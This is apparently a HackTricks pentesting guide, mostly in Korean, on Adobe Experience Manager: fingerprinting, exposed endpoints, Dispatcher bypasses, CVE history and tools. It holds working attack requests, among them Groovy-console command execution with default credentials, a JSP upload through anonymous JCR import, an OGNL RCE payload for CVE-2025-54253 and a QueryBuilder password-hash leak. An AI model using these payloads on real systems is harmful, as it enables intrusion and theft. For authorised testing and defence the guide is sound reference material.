AEM (Adobe Experience Manager) Pentesting
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Adobe Experience Manager (AEM, part of the Adobe Experience Cloud)은 Apache Sling/Felix (OSGi)와 Java Content Repository (JCR) 위에서 동작하는 엔터프라이즈 CMS입니다.
공격자 관점에서 AEM 인스턴스는 종종 위험한 개발 엔드포인트, 취약한 Dispatcher 규칙, default credentials 및 분기별로 패치되는 많은 CVEs를 노출합니다.
아래 체크리스트는 실제 작업(2022-2026)에서 계속 등장하는 externally reachable (unauth) attack surface에 초점을 맞춥니다.
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Other quick indicators:
/etc.clientlibs/정적 경로 존재 (returns JS/CSS)./libs/granite/core/content/login.html로그인 페이지 — “Adobe Experience Manager” 배너 포함.</script><!--/* CQ */-->HTML 하단의 주석.
2. 중요(고가치) 인증 없이 접근 가능한 엔드포인트
| Path | What you get | Notes |
|---|---|---|
/.json, /.1.json | JCR nodes via DefaultGetServlet | 자주 차단되지만, Dispatcher bypass (아래 참조)로 우회 가능. |
/bin/querybuilder.json?path=/ | QueryBuilder API | 페이지 트리, 내부 경로, 사용자 이름 leak. |
/system/console/status-*, /system/console/bundles | OSGi/Felix console | 기본적으로 403; 노출되어 있고 creds가 발견되면 ⇒ bundle-upload RCE. |
/crx/packmgr/index.jsp | Package Manager | 인증된 content packages 업로드 허용 → JSP payload 업로드. |
/etc/groovyconsole/** | AEM Groovy Console | 노출되면 → 임의의 Groovy / Java 실행. |
/libs/cq/AuditlogSearchServlet.json | Audit logs | 정보 노출. |
/libs/cq/ui/content/dumplibs.html | ClientLibs dump | XSS vector. |
/adminui/debug | AEM Forms on JEE Struts dev-mode OGNL evaluator | Forms 설치가 잘못 구성된 경우(CVE-2025-54253) 이 엔드포인트는 인증 없이 OGNL을 실행 → RCE. |
Dispatcher bypass tricks (still working in 2025/2026)
Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.
Classic semicolon + allowed extension
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Encoded slash bypass (2025 KB ka-27832)
GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1
If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.
3. 일반적인 잘못된 구성 (2026년에도 여전히 존재)
- Anonymous POST servlet –
POST /.jsonwith:operation=import로 새 JCR 노드를 심을 수 있다. Dispatcher에서*.jsonPOST를 차단하면 해결된다. - World-readable user profiles – 기본 ACL이
/home/users/**/profile/*에 대해 모두에게jcr:read권한을 부여한다. - Default credentials –
admin:admin,author:author,replication:replication. - WCMDebugFilter enabled ⇒
?debug=layout을 통해 reflected XSS 발생 (CVE-2016-7882, 여전히 레거시 6.4 설치에서 발견). - Groovy Console exposed – Groovy 스크립트를 전송하여 remote code execution:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
- Dispatcher encoded-slash gap –
/bin/querybuilder.json및/etc/truststore.json이 경로 필터로 차단되어 있어도%2f/%3B로 접근 가능. - AEM Forms Struts devMode left enabled –
/adminui/debug?expression=이 인증 없이 OGNL을 평가하여 unauth RCE를 초래(CVE-2025-54253); Forms 제출에서의 XXE(CVE-2025-54254)는 파일 읽기를 허용한다.
4. 최근 취약점 (서비스팩 주기)
| 분기 | CVE / Bulletin | 영향 대상 | 영향 |
|---|---|---|---|
| Dec 2025 | APSB25-115, CVE-2025-64537/64539 | 6.5.24 & earlier, Cloud 2025.12 | 여러 건의 critical/stored XSS → author UI를 통한 코드 실행. |
| Sep 2025 | APSB25-90 | 6.5.23 & earlier | 보안 기능 우회 체인 (Dispatcher auth checker) – 6.5.24/Cloud 2025.12로 업그레이드 권장. |
| Aug 2025 | CVE-2025-54253 / 54254 (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE 파일 읽기, 인증 불필요. |
| Jun 2025 | APSB25-48 | 6.5.23 & earlier | Communities 컴포넌트에서 Stored XSS 및 권한 상승. |
| Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, 임의 코드 실행(저권한). |
| Dec 2023 | APSB23-72 | ≤ 6.5.18 | 조작된 URL을 통한 DOM-based XSS. |
항상 고객의 서비스팩에 해당하는 APSB 공지를 확인하고 최신 6.5.24 (Nov 26, 2025) 또는 Cloud Service 2025.12로 업그레이드하도록 권장한다. AEM Forms on JEE는 자체 add-on hotfix **6.5.0-0108+**가 필요하다.
5. Exploitation snippets
5.1 RCE via dispatcher bypass + JSP upload
If anonymous write is possible:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
이제 /content/evil.jsp를 요청하세요 – JSP는 AEM 프로세스 사용자로 실행됩니다.
5.2 SSRF to RCE (과거 < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem-hacker의 aem_ssrf2rce.py가 전체 체인을 자동화합니다.
5.3 AEM Forms JEE의 OGNL RCE (CVE-2025-54253)
# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
취약한 경우, HTTP 본문에는 명령 출력이 포함됩니다.
5.4 QueryBuilder hash disclosure (encoded slash bypass)
GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1
기본적으로 anonymous read ACLs가 설정된 경우 사용자 노드(rep:password 해시 포함)를 반환합니다.
6. 도구
- aem-hacker – 만능 열거 스크립트로 dispatcher bypass, SSRF detection, default-creds 검사 등 지원.
python3 aem_hacker.py -u https://target --host attacker-ip
- Tenable WAS plugin 115065 – QueryBuilder hash disclosure 및 encoded-slash bypass를 자동으로 탐지합니다 (published Dec 2025).
- Content brute-force –
/_jcr_content.(json|html)를 재귀적으로 요청하여 숨겨진 컴포넌트를 발견합니다. - osgi-infect – creds가 있는 경우
/system/console/bundles를 통해 악성 OSGi 번들을 업로드합니다.
참고자료
- Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
- BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


